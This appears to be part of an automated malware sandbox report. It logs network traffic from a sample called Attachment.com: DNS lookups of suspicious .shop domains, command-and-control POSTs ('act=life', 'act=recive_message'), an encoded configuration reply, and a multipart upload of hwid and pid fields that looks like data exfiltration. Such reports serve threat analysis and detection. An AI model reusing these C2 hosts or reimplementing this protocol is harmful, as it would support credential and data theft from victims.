Dec 8, 2024 01:47:11.117276907 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:11.117300034 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:11.122009039 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:11.122025013 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:11.122073889 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:11.122083902 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:11.122104883 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:11.122129917 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:11.127475977 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:11.127490044 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:11.127549887 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:11.127554893 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:11.127598047 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:11.141545057 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:11.141558886 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:11.141613007 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:47:11.141618967 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:47:11.141659021 CET	49979	443	192.168.2.4	104.21.26.127

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 8, 2024 01:44:05.653656006 CET	58415	53	192.168.2.4	1.1.1.1
Dec 8, 2024 01:44:05.894443035 CET	53	58415	1.1.1.1	192.168.2.4
Dec 8, 2024 01:46:00.690176964 CET	64523	53	192.168.2.4	1.1.1.1
Dec 8, 2024 01:46:00.832230091 CET	53	64523	1.1.1.1	192.168.2.4
Dec 8, 2024 01:46:21.460939884 CET	64259	53	192.168.2.4	1.1.1.1
Dec 8, 2024 01:46:21.597982883 CET	53	64259	1.1.1.1	192.168.2.4
Dec 8, 2024 01:46:23.469036102 CET	54724	53	192.168.2.4	1.1.1.1
Dec 8, 2024 01:46:23.695559025 CET	53	54724	1.1.1.1	192.168.2.4
Dec 8, 2024 01:46:23.757245064 CET	49220	53	192.168.2.4	1.1.1.1
Dec 8, 2024 01:46:24.146702051 CET	53	49220	1.1.1.1	192.168.2.4
Dec 8, 2024 01:46:29.714133978 CET	52447	53	192.168.2.4	1.1.1.1
Dec 8, 2024 01:46:30.729681015 CET	52447	53	192.168.2.4	1.1.1.1
Dec 8, 2024 01:46:31.192111969 CET	53	52447	1.1.1.1	192.168.2.4
Dec 8, 2024 01:46:31.192281961 CET	53	52447	1.1.1.1	192.168.2.4
Dec 8, 2024 01:46:33.750385046 CET	64788	53	192.168.2.4	1.1.1.1
Dec 8, 2024 01:46:34.244832039 CET	53	64788	1.1.1.1	192.168.2.4
Dec 8, 2024 01:46:37.995970011 CET	51373	53	192.168.2.4	1.1.1.1
Dec 8, 2024 01:46:38.132822990 CET	53	51373	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 8, 2024 01:44:05.653656006 CET	192.168.2.4	1.1.1.1	0xe1d0	Standard query (0)	jQTLvBhCSWe.jQTLvBhCSWe	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:00.690176964 CET	192.168.2.4	1.1.1.1	0x7776	Standard query (0)	toqyxuy.shop	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:21.460939884 CET	192.168.2.4	1.1.1.1	0x8ded	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:23.469036102 CET	192.168.2.4	1.1.1.1	0xfcb5	Standard query (0)	silversky.club	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:23.757245064 CET	192.168.2.4	1.1.1.1	0xbc7f	Standard query (0)	klipcatepiu0.shop	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:29.714133978 CET	192.168.2.4	1.1.1.1	0xf7ce	Standard query (0)	www.360.net	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:30.729681015 CET	192.168.2.4	1.1.1.1	0xf7ce	Standard query (0)	www.360.net	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:33.750385046 CET	192.168.2.4	1.1.1.1	0x3bae	Standard query (0)	360.net	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:37.995970011 CET	192.168.2.4	1.1.1.1	0x179f	Standard query (0)	www.baidu.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 8, 2024 01:44:05.894443035 CET	1.1.1.1	192.168.2.4	0xe1d0	Name error (3)	jQTLvBhCSWe.jQTLvBhCSWe	none	none	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:00.832230091 CET	1.1.1.1	192.168.2.4	0x7776	No error (0)	toqyxuy.shop		104.21.36.51	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:00.832230091 CET	1.1.1.1	192.168.2.4	0x7776	No error (0)	toqyxuy.shop		172.67.185.163	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:21.597982883 CET	1.1.1.1	192.168.2.4	0x8ded	No error (0)	pastebin.com		104.20.4.235	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:21.597982883 CET	1.1.1.1	192.168.2.4	0x8ded	No error (0)	pastebin.com		172.67.19.24	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:21.597982883 CET	1.1.1.1	192.168.2.4	0x8ded	No error (0)	pastebin.com		104.20.3.235	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:23.695559025 CET	1.1.1.1	192.168.2.4	0xfcb5	Name error (3)	silversky.club	none	none	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:24.146702051 CET	1.1.1.1	192.168.2.4	0xbc7f	No error (0)	klipcatepiu0.shop		104.21.26.127	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:24.146702051 CET	1.1.1.1	192.168.2.4	0xbc7f	No error (0)	klipcatepiu0.shop		172.67.136.68	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:31.192111969 CET	1.1.1.1	192.168.2.4	0xf7ce	No error (0)	www.360.net		180.163.242.102	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:31.192281961 CET	1.1.1.1	192.168.2.4	0xf7ce	No error (0)	www.360.net		180.163.242.102	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:34.244832039 CET	1.1.1.1	192.168.2.4	0x3bae	No error (0)	360.net		180.163.242.102	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:38.132822990 CET	1.1.1.1	192.168.2.4	0x179f	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2024 01:46:38.132822990 CET	1.1.1.1	192.168.2.4	0x179f	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 8, 2024 01:46:38.132822990 CET	1.1.1.1	192.168.2.4	0x179f	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Dec 8, 2024 01:46:38.132822990 CET	1.1.1.1	192.168.2.4	0x179f	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

toqyxuy.shop

pastebin.com

klipcatepiu0.shop

www.360.net

360.net

www.baidu.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49869	104.21.36.51	443	7924	C:\Users\user\AppData\Local\Temp\189943\Attachment.com

Timestamp	Bytes transferred	Direction	Data
2024-12-08 00:46:02 UTC	259	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: toqyxuy.shop
2024-12-08 00:46:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-08 00:46:03 UTC	1008	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 00:46:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nr9146hu8kk7fld2sd5dcl9ia2; expires=Wed, 02-Apr-2025 18:32:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DTKWq5AU%2FoEmvEXdRaQ0KCVjf1n7O1Z42auASyFQTO%2Fq7JMoeTCxdOeufFNBmmd4ta78OgMImfWi%2FU8vetUOgkhSBifywY8YuPHh89rm6qtFV9ylrM0iiTAmjd5H6hc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ee8bc708d7343bf-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1596&min_rtt=1587&rtt_var=613&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=903&delivery_rate=1759036&cwnd=252&unsent_bytes=0&cid=ad0baf00521f3ea1&ts=1169&x=0"
2024-12-08 00:46:03 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-08 00:46:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49878	104.21.36.51	443	7924	C:\Users\user\AppData\Local\Temp\189943\Attachment.com

Timestamp	Bytes transferred	Direction	Data
2024-12-08 00:46:04 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 80 Host: toqyxuy.shop
2024-12-08 00:46:04 UTC	80	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 53 41 4d 53 4f 4e 26 6a 3d 37 35 36 37 66 66 66 35 34 36 38 66 35 62 36 38 32 37 38 30 61 65 61 34 63 32 65 62 36 32 36 36 Data Ascii: act=recive_message&ver=4.0&lid=hRjzG3--SAMSON&j=7567fff5468f5b682780aea4c2eb6266
2024-12-08 00:46:05 UTC	1011	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 00:46:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=njtuktaaa835jnc5ra2msal4mt; expires=Wed, 02-Apr-2025 18:32:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RnizWabMawu%2F8Na56jvW2Ceug6oF4%2FOTYxRO9%2BlB4SNdqZYwYy0H8OQhoGPikl9l%2B7mV8oeqe%2BQfYK3Psx6egdzgatA1jQg1G6Y7f68GJWWp4rOgrBHy9Znzk0myDcM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ee8bc802cccf5f6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1506&min_rtt=1501&rtt_var=573&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=976&delivery_rate=1892417&cwnd=175&unsent_bytes=0&cid=58be12587b70b1bf&ts=853&x=0"
2024-12-08 00:46:05 UTC	358	IN	Data Raw: 34 65 32 0d 0a 53 71 50 6e 77 6f 53 73 44 4a 56 2b 59 4b 5a 6f 70 57 71 6d 36 6c 78 37 39 34 55 41 59 63 58 39 61 47 42 66 35 74 75 43 79 7a 38 78 67 5a 48 67 76 70 67 67 74 77 30 46 68 46 4c 44 43 38 71 5a 4f 56 66 56 35 47 52 44 2f 35 73 4a 44 43 79 44 39 36 43 75 52 32 69 5a 76 4c 6d 6d 79 57 4b 33 52 45 4c 44 41 73 63 4c 79 6f 67 39 45 4a 6a 31 62 41 4b 74 6b 51 38 49 4f 6f 57 2f 34 36 64 53 4c 38 61 43 6f 2b 37 43 5a 66 67 57 44 59 52 45 68 77 2f 63 79 47 5a 5a 75 75 42 30 41 49 69 63 47 77 74 39 6d 2f 66 35 36 56 6f 6b 67 64 33 67 35 63 6c 75 2b 52 67 45 7a 51 44 4e 41 73 4b 4a 4f 42 47 48 37 47 59 4a 72 5a 38 4d 43 54 43 4d 71 2b 36 74 56 53 54 41 69 4b 4f 6d 67 43 37 77 42 45 4b 63 53 70 51 36 78 35 6b 76 44 4a 6a 33 5a 45 4f 34 30 52 4e 43 4f 6f Data Ascii: 4e2SqPnwoSsDJV+YKZopWqm6lx794UAYcX9aGBf5tuCyz8xgZHgvpggtw0FhFLDC8qZOVfV5GRD/5sJDCyD96CuR2iZvLmmyWK3RELDAscLyog9EJj1bAKtkQ8IOoW/46dSL8aCo+7CZfgWDYREhw/cyGZZuuB0AIicGwt9m/f56Vokgd3g5clu+RgEzQDNAsKJOBGH7GYJrZ8MCTCMq+6tVSTAiKOmgC7wBEKcSpQ6x5kvDJj3ZEO40RNCOo
2024-12-08 00:46:05 UTC	899	IN	Data Raw: 51 6a 4c 43 63 63 50 7a 6f 49 78 45 35 48 71 62 77 57 6e 6e 30 70 4d 66 59 4f 68 6f 50 45 64 43 38 53 56 70 2b 72 59 4c 4d 31 63 48 59 6f 54 68 77 2f 49 79 47 5a 5a 6e 65 4a 68 41 4b 79 51 43 51 6f 32 6c 72 6e 79 72 31 41 74 30 34 4f 6c 36 4d 52 74 35 52 59 4d 77 67 6e 4f 41 38 32 4e 4f 52 33 56 71 53 49 45 76 39 39 53 51 68 79 4a 73 75 79 6a 53 69 69 42 6d 75 37 2f 6a 6d 6e 37 58 46 71 45 44 73 59 4d 78 59 77 77 46 35 48 72 5a 41 32 71 6b 41 77 49 50 59 4f 7a 36 4b 46 63 4a 63 71 4b 6f 4f 50 44 61 76 45 51 41 38 46 4b 69 55 6a 44 6b 48 35 42 31 63 6c 6c 41 4c 58 64 50 77 45 7a 69 72 37 32 36 55 4a 6d 32 4d 57 6e 36 6f 34 32 74 78 49 48 79 78 6a 47 47 73 47 47 4c 42 57 51 34 57 38 41 71 5a 38 50 42 54 43 4b 76 2b 65 71 56 53 7a 41 69 36 7a 73 7a 57 72 30 Data Ascii: QjLCccPzoIxE5HqbwWnn0pMfYOhoPEdC8SVp+rYLM1cHYoThw/IyGZZneJhAKyQCQo2lrnyr1At04Ol6MRt5RYMwgnOA82NOR3VqSIEv99SQhyJsuyjSiiBmu7/jmn7XFqEDsYMxYwwF5HrZA2qkAwIPYOz6KFcJcqKoOPDavEQA8FKiUjDkH5B1cllALXdPwEzir726UJm2MWn6o42txIHyxjGGsGGLBWQ4W8AqZ8PBTCKv+eqVSzAi6zszWr0
2024-12-08 00:46:05 UTC	1369	IN	Data Raw: 33 66 34 61 0d 0a 37 42 42 63 63 4a 78 59 59 30 45 74 57 70 49 67 53 2f 33 31 4a 43 45 6f 6d 70 38 71 4e 57 4f 59 4f 77 6f 2b 6a 41 61 65 46 63 48 59 6f 54 68 77 2f 49 79 47 5a 5a 6e 75 46 75 44 36 65 5a 47 41 77 79 6c 72 50 79 72 56 4d 73 7a 59 75 70 36 38 46 72 35 52 67 43 31 67 76 43 44 38 71 46 4c 42 7a 56 71 53 49 45 76 39 39 53 51 67 65 77 76 76 43 34 57 6d 72 30 68 71 37 6f 79 58 69 33 41 30 7a 64 53 73 41 45 68 4e 42 2b 47 70 6e 71 61 77 61 6f 6a 51 41 4f 50 4a 61 2b 36 61 42 58 4b 63 2b 4b 71 2b 72 4c 66 50 77 54 43 73 73 4c 79 67 58 50 6a 44 35 5a 32 36 64 6c 47 2b 66 48 53 69 4d 77 69 36 76 6a 75 42 38 64 77 6f 75 75 34 64 67 75 36 46 49 62 68 41 33 4c 53 4a 7a 49 50 78 57 5a 35 6d 30 46 72 5a 63 4a 41 79 2b 4e 74 75 69 6d 56 43 6e 43 67 61 48 Data Ascii: 3f4a7BBccJxYY0EtWpIgS/31JCEomp8qNWOYOwo+jAaeFcHYoThw/IyGZZnuFuD6eZGAwylrPyrVMszYup68Fr5RgC1gvCD8qFLBzVqSIEv99SQgewvvC4Wmr0hq7oyXi3A0zdSsAEhNB+GpnqawaojQAOPJa+6aBXKc+Kq+rLfPwTCssLygXPjD5Z26dlG+fHSiMwi6vjuB8dwouu4dgu6FIbhA3LSJzIPxWZ5m0FrZcJAy+NtuimVCnCgaH
2024-12-08 00:46:05 UTC	1369	IN	Data Raw: 52 45 48 7a 41 44 4f 44 63 69 46 50 51 75 57 35 69 4a 4e 35 35 67 53 51 6d 58 45 6e 74 4f 65 66 6d 6a 65 79 37 6d 6d 79 57 4b 33 52 45 4c 46 41 73 41 47 77 4a 6f 77 43 35 76 67 59 67 57 76 6c 77 30 4f 4d 34 71 72 36 4b 68 64 4a 73 36 4e 71 65 4c 50 61 76 4d 51 42 59 52 45 68 77 2f 63 79 47 5a 5a 76 65 52 34 47 65 57 78 41 51 49 36 6c 4b 2f 37 36 55 4a 6d 32 4d 57 6e 36 6f 34 32 74 78 67 4a 7a 67 50 45 41 63 43 46 50 68 43 61 37 6d 6f 4f 72 34 30 4c 43 43 2b 41 76 4f 47 6d 56 79 7a 4a 69 61 2f 71 79 6e 7a 38 58 45 79 45 44 64 39 49 6e 4d 67 65 45 6f 50 45 63 42 48 6e 67 45 51 62 66 59 4f 31 6f 50 45 64 49 63 32 45 6f 65 7a 49 5a 66 49 52 41 73 45 41 77 41 54 45 69 44 30 66 6b 2b 70 71 43 36 75 54 43 51 38 34 67 4b 76 79 72 56 56 6f 6a 38 57 6e 2f 6f 34 32 Data Ascii: REHzADODciFPQuW5iJN55gSQmXEntOefmjey7mmyWK3RELFAsAGwJowC5vgYgWvlw0OM4qr6KhdJs6NqeLPavMQBYREhw/cyGZZveR4GeWxAQI6lK/76UJm2MWn6o42txgJzgPEAcCFPhCa7moOr40LCC+AvOGmVyzJia/qynz8XEyEDd9InMgeEoPEcBHngEQbfYO1oPEdIc2EoezIZfIRAsEAwATEiD0fk+pqC6uTCQ84gKvyrVVoj8Wn/o42
2024-12-08 00:46:05 UTC	1369	IN	Data Raw: 78 4b 34 42 4c 4a 6a 69 6b 49 6f 4f 42 69 55 75 65 41 52 42 74 39 67 37 57 67 38 52 30 6c 7a 59 2b 74 34 38 70 6d 38 42 38 44 79 41 37 4b 42 63 43 42 4f 68 79 48 39 57 51 4e 70 35 41 45 44 54 47 57 74 2b 57 70 55 57 69 50 78 61 66 2b 6a 6a 61 33 4c 52 58 45 53 74 68 47 33 63 67 35 46 64 57 2f 49 67 79 71 6a 51 59 4e 50 59 57 36 35 4b 4a 61 4c 73 65 45 6f 2b 50 4e 61 2f 45 64 41 73 67 41 77 41 44 4f 68 6a 4d 66 6b 65 46 6b 51 2b 6e 66 44 52 70 39 33 50 6e 53 70 46 4d 68 77 6f 4f 74 38 4f 5a 66 74 77 4e 4d 33 55 72 41 42 49 54 51 66 68 32 65 37 32 34 47 72 35 6f 4c 43 6a 65 4d 74 75 2b 37 58 43 66 49 67 71 76 72 77 57 44 79 45 68 44 44 41 63 77 41 7a 59 59 34 57 64 75 6e 5a 52 76 6e 78 30 6f 30 50 6f 71 79 38 61 5a 65 4a 49 47 61 37 76 2b 4f 61 66 74 63 57 Data Ascii: xK4BLJjikIoOBiUueARBt9g7Wg8R0lzY+t48pm8B8DyA7KBcCBOhyH9WQNp5AEDTGWt+WpUWiPxaf+jja3LRXESthG3cg5FdW/IgyqjQYNPYW65KJaLseEo+PNa/EdAsgAwADOhjMfkeFkQ+nfDRp93PnSpFMhwoOt8OZftwNM3UrABITQfh2e724Gr5oLCjeMtu+7XCfIgqvrwWDyEhDDAcwAzYY4WdunZRvnx0o0Poqy8aZeJIGa7v+OaftcW
2024-12-08 00:46:05 UTC	1369	IN	Data Raw: 65 77 34 38 78 57 37 7a 67 65 51 4b 74 6e 41 45 4f 66 5a 76 33 2b 65 6c 61 4a 49 48 64 34 4f 76 43 59 2f 4d 4f 44 73 51 4b 7a 67 2f 4f 6d 6a 45 57 6d 4f 52 69 42 72 57 65 47 41 30 32 67 62 72 6b 70 6c 49 6b 79 59 2f 67 71 49 35 70 37 31 78 61 68 43 62 45 47 63 37 4b 47 51 4f 44 34 47 34 53 72 4a 49 47 51 69 4c 4b 6f 4b 43 75 55 57 69 5a 78 61 44 6e 77 33 7a 79 48 51 6a 4f 42 38 38 48 77 59 30 78 48 5a 48 73 62 42 47 70 6b 41 6f 45 4e 6f 57 38 34 36 4a 58 4a 73 69 58 34 4b 69 4f 61 65 39 63 57 6f 51 67 33 41 6e 4a 68 48 77 33 6e 76 46 6c 51 59 61 52 41 51 55 78 6b 76 6e 2f 35 30 52 6f 78 6f 6e 67 76 6f 35 6e 2b 52 41 42 77 77 4c 50 44 63 53 44 50 68 61 66 36 57 55 52 72 5a 4d 41 45 44 4b 48 74 4f 53 6b 56 79 33 49 6c 36 58 76 79 43 36 35 58 41 58 63 53 70 Data Ascii: ew48xW7zgeQKtnAEOfZv3+elaJIHd4OvCY/MODsQKzg/OmjEWmORiBrWeGA02gbrkplIkyY/gqI5p71xahCbEGc7KGQOD4G4SrJIGQiLKoKCuUWiZxaDnw3zyHQjOB88HwY0xHZHsbBGpkAoENoW846JXJsiX4KiOae9cWoQg3AnJhHw3nvFlQYaRAQUxkvn/50Roxongvo5n+RABwwLPDcSDPhaf6WURrZMAEDKHtOSkVy3Il6XvyC65XAXcSp
2024-12-08 00:46:05 UTC	1369	IN	Data Raw: 4e 42 71 5a 38 57 38 4d 35 34 42 45 47 33 32 44 74 61 44 78 48 54 72 54 68 61 76 6d 79 57 44 6c 48 51 72 4c 41 4d 63 4f 7a 34 49 39 45 4a 48 70 61 77 57 6d 6b 67 73 44 50 59 47 35 36 62 74 51 61 49 2f 46 70 2f 36 4f 4e 72 63 72 44 73 38 37 78 42 36 45 6c 33 41 41 31 65 42 75 51 2f 2f 66 43 78 41 77 6a 4c 33 67 70 46 73 6a 77 49 53 6a 35 73 35 74 39 78 6b 4a 79 77 7a 41 42 63 36 42 4e 77 75 64 34 33 41 44 71 35 74 4b 54 48 32 44 6f 61 44 78 48 52 6a 43 6a 71 7a 6d 77 33 75 33 41 30 7a 64 53 73 41 45 68 4e 42 2b 45 5a 37 73 5a 41 69 6b 6e 41 51 4a 4e 34 75 32 36 71 39 62 49 4d 53 46 72 4f 62 4c 61 50 4d 59 44 4d 4d 45 79 67 6e 57 69 7a 64 5a 32 36 64 6c 47 2b 66 48 53 69 49 32 6b 72 7a 6e 76 78 38 64 77 6f 75 75 34 64 67 75 36 43 4e 4d 68 41 75 48 55 50 32 Data Ascii: NBqZ8W8M54BEG32DtaDxHTrThavmyWDlHQrLAMcOz4I9EJHpawWmkgsDPYG56btQaI/Fp/6ONrcrDs87xB6El3AA1eBuQ//fCxAwjL3gpFsjwISj5s5t9xkJywzABc6BNwud43ADq5tKTH2DoaDxHRjCjqzmw3u3A0zdSsAEhNB+EZ7sZAiknAQJN4u26q9bIMSFrObLaPMYDMMEygnWizdZ26dlG+fHSiI2krznvx8dwouu4dgu6CNMhAuHUP2
2024-12-08 00:46:05 UTC	1369	IN	Data Raw: 36 64 36 51 2f 2f 66 50 77 45 7a 69 72 37 32 75 42 41 49 79 6f 6d 6a 36 73 39 70 74 31 4a 43 77 6b 71 66 57 34 72 49 4f 67 6a 56 76 7a 4a 52 2f 4d 70 5a 56 57 33 57 70 71 36 77 48 54 36 42 33 66 4b 6f 6a 6e 79 33 52 45 4b 44 43 64 55 61 77 6f 73 6f 47 74 4c 5a 58 41 4b 71 6b 45 59 4d 4e 6f 53 2b 38 4c 39 47 5a 4d 6d 47 75 76 7a 77 55 4e 77 51 42 4d 4d 51 77 41 37 69 71 48 35 58 31 65 67 69 57 35 37 66 51 6b 49 43 79 76 6e 34 36 51 56 6f 39 49 61 75 36 4d 6c 34 35 6c 45 71 35 7a 44 39 53 75 69 50 4b 31 75 68 34 48 49 53 72 4a 49 47 51 6e 50 45 76 36 44 78 44 57 61 42 67 62 47 6d 6c 6a 36 6c 52 31 65 58 58 5a 64 61 32 38 59 6e 57 59 4f 6e 4f 6c 48 70 33 78 68 43 5a 63 54 2b 34 37 74 50 4c 73 4b 54 6f 36 48 77 55 4e 41 53 42 63 55 63 31 78 2f 4c 74 67 41 4d Data Ascii: 6d6Q//fPwEzir72uBAIyomj6s9pt1JCwkqfW4rIOgjVvzJR/MpZVW3Wpq6wHT6B3fKojny3REKDCdUawosoGtLZXAKqkEYMNoS+8L9GZMmGuvzwUNwQBMMQwA7iqH5X1egiW57fQkICyvn46QVo9Iau6Ml45lEq5zD9SuiPK1uh4HISrJIGQnPEv6DxDWaBgbGmlj6lR1eXXZda28YnWYOnOlHp3xhCZcT+47tPLsKTo6HwUNASBcUc1x/LtgAM
2024-12-08 00:46:05 UTC	1369	IN	Data Raw: 32 43 6b 67 63 48 4d 34 4f 48 33 6f 68 58 4f 4d 79 4b 70 36 54 75 61 65 45 66 50 50 6f 39 31 67 2f 55 79 68 67 61 67 2b 51 69 54 65 65 48 53 6c 70 39 70 62 50 77 70 46 49 76 67 36 57 6e 38 4d 30 75 75 56 77 47 68 46 4b 48 4c 63 6d 46 4f 78 65 53 70 55 4d 4a 74 35 49 46 42 58 2b 6b 76 76 61 71 48 57 61 42 69 65 43 2b 6a 6d 2f 39 44 41 2f 4c 44 59 73 50 33 6f 39 2b 56 39 58 70 49 6c 76 6e 6e 67 41 53 4d 49 75 2b 72 4b 39 54 4a 6f 47 61 37 76 2b 4f 65 4c 64 45 55 59 70 4b 31 55 69 63 79 48 6b 61 68 2f 56 6b 41 4c 47 63 54 54 77 44 71 61 76 6e 75 56 35 71 38 49 69 6b 38 4e 74 74 35 78 73 38 2b 69 66 56 44 39 53 4c 66 43 69 44 35 47 49 4e 6f 4e 39 45 51 69 58 45 34 61 43 45 54 79 2f 52 68 75 43 6f 6a 6d 4b 33 52 45 4c 4a 47 4d 41 59 78 38 51 35 41 35 4b 6e 66 Data Ascii: 2CkgcHM4OH3ohXOMyKp6TuaeEfPPo91g/Uyhgag+QiTeeHSlp9pbPwpFIvg6Wn8M0uuVwGhFKHLcmFOxeSpUMJt5IFBX+kvvaqHWaBieC+jm/9DA/LDYsP3o9+V9XpIlvnngASMIu+rK9TJoGa7v+OeLdEUYpK1UicyHkah/VkALGcTTwDqavnuV5q8Iik8Ntt5xs8+ifVD9SLfCiD5GINoN9EQiXE4aCETy/RhuCojmK3RELJGMAYx8Q5A5Knf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49885	104.21.36.51	443	7924	C:\Users\user\AppData\Local\Temp\189943\Attachment.com

Timestamp	Bytes transferred	Direction	Data
2024-12-08 00:46:07 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1RAEKZ8988RAOBI86KT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18170 Host: toqyxuy.shop
2024-12-08 00:46:07 UTC	15331	OUT	Data Raw: 2d 2d 31 52 41 45 4b 5a 38 39 38 38 52 41 4f 42 49 38 36 4b 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 39 43 46 31 34 46 44 41 37 37 31 39 38 36 33 34 30 32 32 35 42 44 35 41 46 32 39 45 35 38 0d 0a 2d 2d 31 52 41 45 4b 5a 38 39 38 38 52 41 4f 42 49 38 36 4b 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 52 41 45 4b 5a 38 39 38 38 52 41 4f 42 49 38 36 4b 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 53 41 Data Ascii: --1RAEKZ8988RAOBI86KTContent-Disposition: form-data; name="hwid"559CF14FDA771986340225BD5AF29E58--1RAEKZ8988RAOBI86KTContent-Disposition: form-data; name="pid"2--1RAEKZ8988RAOBI86KTContent-Disposition: form-data; name="lid"hRjzG3--SA
